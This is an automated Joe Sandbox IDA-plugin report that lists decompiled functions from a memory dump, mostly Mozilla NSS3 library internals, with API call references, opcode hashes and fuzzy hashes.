TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6CFAE728,?,00000038,?,?,00000000), ref: 6CFB2E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CFB2E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CFB2E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6CFB2E8F
PL_HashTableLookup.NSS3(?,?), ref: 6CFB2E9E
PR_Unlock.NSS3(?), ref: 6CFB2EAB
PR_Unlock.NSS3(?), ref: 6CFB2F0D

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: ca14e8f2f77428bba3908f90e8cce957cfaf6b36b426588f5053efc8ea42cad0
Instruction ID: e884702eb09bb48d1849ce6d06ef3f876a11fa9171e3d5ced333482a7230dedc
Opcode Fuzzy Hash: ca14e8f2f77428bba3908f90e8cce957cfaf6b36b426588f5053efc8ea42cad0
Instruction Fuzzy Hash: AC3127B6A00505ABEF009F65EC849BABB78FF45258B088174FD08D7611EB32ED64C7E1

Function 6CFFCEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6CFFCD93,?), ref: 6CFFCEEE

Part of subcall function 6CFF14C0: TlsGetValue.KERNEL32 ref: 6CFF14E0
Part of subcall function 6CFF14C0: EnterCriticalSection.KERNEL32 ref: 6CFF14F5
Part of subcall function 6CFF14C0: PR_Unlock.NSS3 ref: 6CFF150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CFFCD93,?), ref: 6CFFCEFC

Part of subcall function 6CFF10C0: TlsGetValue.KERNEL32(?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF10F3
Part of subcall function 6CFF10C0: EnterCriticalSection.KERNEL32(?,?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF110C
Part of subcall function 6CFF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF1141
Part of subcall function 6CFF10C0: PR_Unlock.NSS3(?,?,?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF1182
Part of subcall function 6CFF10C0: TlsGetValue.KERNEL32(?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CFFCD93,?), ref: 6CFFCF0B

Part of subcall function 6CFF0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CFF08B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CFFCD93,?), ref: 6CFFCF1D

Part of subcall function 6CFEFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CFE8D2D,?,00000000,?), ref: 6CFEFB85
Part of subcall function 6CFEFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CFEFBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CFFCD93,?), ref: 6CFFCF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CFFCD93,?), ref: 6CFFCF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6CFFCD93,?,?,?,?,?,?,?,?,?,?,?,6CFFCD93,?), ref: 6CFFCF78

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: 9d0b40934807ddc33ff86e40de02df7a8af8d12e3b42410b2a42351b632733e6
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: 8C11E4F5E002156BFB10AA667C41BABB5ECDF4824DF044039EC29D7791FB61D90986B1

Function 6CFA8C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CFA8C1B
EnterCriticalSection.KERNEL32 ref: 6CFA8C34
PL_ArenaAllocate.NSS3 ref: 6CFA8C65
PR_Unlock.NSS3 ref: 6CFA8C9C
PR_Unlock.NSS3 ref: 6CFA8CB6

Part of subcall function 6D03DD70: TlsGetValue.KERNEL32 ref: 6D03DD8C
Part of subcall function 6D03DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6D03DDB4

Strings

KRAM, xrefs: 6CFA8C8F

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: 471d2a0fbb31a581a43f5e44f23e0554788093d514edb4c0ffcf5b7c5ac30174
Instruction ID: 4ae56599e9d05199beeb7ec1127bfbaef991de6a6612f7ddc86db216900b862d
Opcode Fuzzy Hash: 471d2a0fbb31a581a43f5e44f23e0554788093d514edb4c0ffcf5b7c5ac30174
Instruction Fuzzy Hash: 58218DB1905601DFD700AFB8C484669FBF4FF45304F06896AD8888B711EB71D886CF92

Function 6D023E20 Relevance: 10.6, APIs: 7, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 6D025B40: PR_GetIdentitiesLayer.NSS3 ref: 6D025B56

PR_EnterMonitor.NSS3(?), ref: 6D023E45

Part of subcall function 6D059090: TlsGetValue.KERNEL32 ref: 6D0590AB
Part of subcall function 6D059090: TlsGetValue.KERNEL32 ref: 6D0590C9
Part of subcall function 6D059090: EnterCriticalSection.KERNEL32 ref: 6D0590E5
Part of subcall function 6D059090: TlsGetValue.KERNEL32 ref: 6D059116
Part of subcall function 6D059090: LeaveCriticalSection.KERNEL32 ref: 6D05913F

PR_EnterMonitor.NSS3(?), ref: 6D023E5C
PR_EnterMonitor.NSS3(?), ref: 6D023E73
PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6D023EA6

Part of subcall function 6D03C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D03C2BF

PR_ExitMonitor.NSS3(?), ref: 6D023EC0
PR_ExitMonitor.NSS3(?), ref: 6D023ED7
PR_ExitMonitor.NSS3(?), ref: 6D023EEE

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Monitor$EnterValue$Exit$CriticalSection$ErrorIdentitiesLayerLeave
String ID:
API String ID: 2517541793-0
Opcode ID: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction ID: 6c3679c3d03e54b1a0c4f34cd880aacc60b7eb4281ab95874e66da434a05b9ec
Opcode Fuzzy Hash: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction Fuzzy Hash: 6E11DAB5515600AFFF319E29FC02B9BB7A5EB44228F414838E95987161E732E829C752

Function 6D0A2C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6D0A2CA0
PR_ExitMonitor.NSS3 ref: 6D0A2CBE
calloc.MOZGLUE(00000001,00000014), ref: 6D0A2CD1
strdup.MOZGLUE(?), ref: 6D0A2CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6D0A2D27

Strings

Loaded library %s (static lib), xrefs: 6D0A2D22

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: 8ea0eb9d75440ab9afded23cdad159c483937b69e26d7d7a07ce8bf893c24ef8
Instruction ID: 83b666d977a9200cf38f3a6803316a87b1c834339640b4889845298280a1bc7a
Opcode Fuzzy Hash: 8ea0eb9d75440ab9afded23cdad159c483937b69e26d7d7a07ce8bf893c24ef8
Instruction Fuzzy Hash: D61104B29012009FFB20CF66E841B6A77B5EB45309F5C803DDD0987343D7319804CBA2

Function 6CF9BDC0 Relevance: 10.6, APIs: 7, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CF9BDCA

Part of subcall function 6CFF0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CF987ED,00000800,6CF8EF74,00000000), ref: 6CFF1000
Part of subcall function 6CFF0FF0: PR_NewLock.NSS3(?,00000800,6CF8EF74,00000000), ref: 6CFF1016
Part of subcall function 6CFF0FF0: PL_InitArenaPool.NSS3(00000000,security,6CF987ED,00000008,?,00000800,6CF8EF74,00000000), ref: 6CFF102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CF9BDDB

Part of subcall function 6CFF10C0: TlsGetValue.KERNEL32(?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF10F3
Part of subcall function 6CFF10C0: EnterCriticalSection.KERNEL32(?,?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF110C
Part of subcall function 6CFF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF1141
Part of subcall function 6CFF10C0: PR_Unlock.NSS3(?,?,?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF1182
Part of subcall function 6CFF10C0: TlsGetValue.KERNEL32(?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CF9BDEC

Part of subcall function 6CFF10C0: PL_ArenaAllocate.NSS3(?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF116E

SECITEM_CopyItem_Util.NSS3(00000000,00000000,?), ref: 6CF9BE03

Part of subcall function 6CFEFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CFE8D2D,?,00000000,?), ref: 6CFEFB85
Part of subcall function 6CFEFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CFEFBB1

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CF9BE22
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CF9BE30
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CF9BE3B

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_ErrorValue$CopyCriticalEnterFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1821307800-0
Opcode ID: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction ID: 5cc5aa6999298cdcda6fd493cc9e9da1452abccecc0b0152edbd6c49219a3391
Opcode Fuzzy Hash: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction Fuzzy Hash: 0001D6AAA4121276FA2023667C01FAB764C8F9178DF150130EF14DA7C2FB51E51982BA

Function 6CFF0FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CF987ED,00000800,6CF8EF74,00000000), ref: 6CFF1000
PR_NewLock.NSS3(?,00000800,6CF8EF74,00000000), ref: 6CFF1016

Part of subcall function 6D0598D0: calloc.MOZGLUE(00000001,00000084,6CF80936,00000001,?,6CF8102C), ref: 6D0598E5

PL_InitArenaPool.NSS3(00000000,security,6CF987ED,00000008,?,00000800,6CF8EF74,00000000), ref: 6CFF102B
TlsGetValue.KERNEL32(00000000,?,?,6CF987ED,00000800,6CF8EF74,00000000), ref: 6CFF1044
free.MOZGLUE(00000000,?,00000800,6CF8EF74,00000000), ref: 6CFF1064

Strings

security, xrefs: 6CFF1025

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: a8050d14681a8e5c5d2c05c67139b03c5727067a55fab2d5748e7747f19bbc3f
Instruction ID: fc200e69acd32113d6fa84972c8ca11372ffb9a2e1d81f3e5a92ba9616649bdf
Opcode Fuzzy Hash: a8050d14681a8e5c5d2c05c67139b03c5727067a55fab2d5748e7747f19bbc3f
Instruction Fuzzy Hash: D1018EB29002509BE7202F3D9C05B9B3A78FF42B49F058115EC2897AB2EB71C116DBD2

Function 6D021C60 Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6D021C74

Part of subcall function 6D03C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D03C2BF

DeleteCriticalSection.KERNEL32(?), ref: 6D021C92
free.MOZGLUE(?), ref: 6D021C99
DeleteCriticalSection.KERNEL32(?), ref: 6D021CCB
free.MOZGLUE(?), ref: 6D021CD2

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree$ErrorValue
String ID:
API String ID: 3805613680-0
Opcode ID: cae37acbbc932afb93ba194a842c95b230a8a0a2bfc3683d4535ced64ccf922c
Instruction ID: cc8698dab370eb138300be53dbc96ffd4ce76290fd0d1f1d97b31f173d7233de
Opcode Fuzzy Hash: cae37acbbc932afb93ba194a842c95b230a8a0a2bfc3683d4535ced64ccf922c
Instruction Fuzzy Hash: 1701F5B6C162619FFF309FB4AC09B893BB8AB06708F640035EE0AD3240D73291488796

Function 6D081C40 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 45COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(non-deterministic use of %s() in %s,?,a CHECK constraint,6CF83D77,?,?,6CF84E1D), ref: 6D081C8A
sqlite3_free.NSS3(00000000), ref: 6D081CB6

Strings

non-deterministic use of %s() in %s, xrefs: 6D081C85
a CHECK constraint, xrefs: 6D081C76, 6D081C81
an index, xrefs: 6D081C67
a generated column, xrefs: 6D081C6C

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintf
String ID: a CHECK constraint$a generated column$an index$non-deterministic use of %s() in %s
API String ID: 1840970956-3705377941
Opcode ID: 6fac18f45bd72bb99a84367177da968428765c8ade2ba256092a6f594fc6099d
Instruction ID: 7976608aec2c095d0dd8a5307eda97bf66088b65c63cb6a849739e76e5a95544
Opcode Fuzzy Hash: 6fac18f45bd72bb99a84367177da968428765c8ade2ba256092a6f594fc6099d
Instruction Fuzzy Hash: A70147B1A001004BEB00AF2CD811EB577E6EFC234CB14486DEC48CB703EB32E8568792

Function 6D032E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6D033046

Part of subcall function 6D01EE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6D01EE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6D007FFB), ref: 6D03312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6D033154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6D032E8B

Part of subcall function 6D03C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D03C2BF

Part of subcall function 6D01F110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6D009BFF,?,00000000,00000000), ref: 6D01F134

memcpy.VCRUNTIME140(8B3C75C0,?,6D007FFA), ref: 6D032EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6D03317B

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: 26bf335633cdad70038681a8b1fc48b967c581e6ba9317d5980b8ff98b4818d2
Instruction ID: 5cf5594ed3c45946ad5f1bdca89f1e8acd59fdf83cffe5fbe94c915bf968676b
Opcode Fuzzy Hash: 26bf335633cdad70038681a8b1fc48b967c581e6ba9317d5980b8ff98b4818d2
Instruction Fuzzy Hash: C8A19D75A0422A9FEB24CF54CC80BAEB7B5FF49304F0581A9ED49A7341E731A985CF91

Function 6CFFED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6CFFED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6CFFEDCE

Part of subcall function 6CFF0BE0: malloc.MOZGLUE(6CFE8D2D,?,00000000,?), ref: 6CFF0BF8
Part of subcall function 6CFF0BE0: TlsGetValue.KERNEL32(6CFE8D2D,?,00000000,?), ref: 6CFF0C15

free.MOZGLUE(00000000,?,?,?,?,6CFFB04F), ref: 6CFFEE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CFFEECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CFFEEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CFFEEFB

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: c8c7007f8e5f2c063dca987afcc2571335353bab0a1d920e56ed957739e95266
Instruction ID: fbe0be905d816f61393ed6c25486bdafd6f2484bff998d188af4b1bd55deec2a
Opcode Fuzzy Hash: c8c7007f8e5f2c063dca987afcc2571335353bab0a1d920e56ed957739e95266
Instruction Fuzzy Hash: 67816AB5A002059FEB14CF59DC80BAF77F5EF88708F154428E9259BB61DB31E816CBA1

Function 6CFFCCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CFFC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CFFDAE2,?), ref: 6CFFC6C2

PR_Now.NSS3 ref: 6CFFCD35

Part of subcall function 6D059DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6D0A0A27), ref: 6D059DC6
Part of subcall function 6D059DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6D0A0A27), ref: 6D059DD1
Part of subcall function 6D059DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6D059DED

Part of subcall function 6CFE6C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CF91C6F,00000000,00000004,?,?), ref: 6CFE6C3F

PR_GetCurrentThread.NSS3 ref: 6CFFCD54

Part of subcall function 6D059BF0: TlsGetValue.KERNEL32(?,?,?,6D0A0A75), ref: 6D059C07

Part of subcall function 6CFE7260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CF91CCC,00000000,00000000,?,?), ref: 6CFE729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CFFCD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6CFFCE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6CFFCE2C

Part of subcall function 6CFF10C0: TlsGetValue.KERNEL32(?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF10F3
Part of subcall function 6CFF10C0: EnterCriticalSection.KERNEL32(?,?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF110C
Part of subcall function 6CFF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF1141
Part of subcall function 6CFF10C0: PR_Unlock.NSS3(?,?,?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF1182
Part of subcall function 6CFF10C0: TlsGetValue.KERNEL32(?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6CFFCE40

Part of subcall function 6CFF14C0: TlsGetValue.KERNEL32 ref: 6CFF14E0
Part of subcall function 6CFF14C0: EnterCriticalSection.KERNEL32 ref: 6CFF14F5
Part of subcall function 6CFF14C0: PR_Unlock.NSS3 ref: 6CFF150D

Part of subcall function 6CFFCEE0: PORT_ArenaMark_Util.NSS3(?,6CFFCD93,?), ref: 6CFFCEEE
Part of subcall function 6CFFCEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CFFCD93,?), ref: 6CFFCEFC
Part of subcall function 6CFFCEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CFFCD93,?), ref: 6CFFCF0B
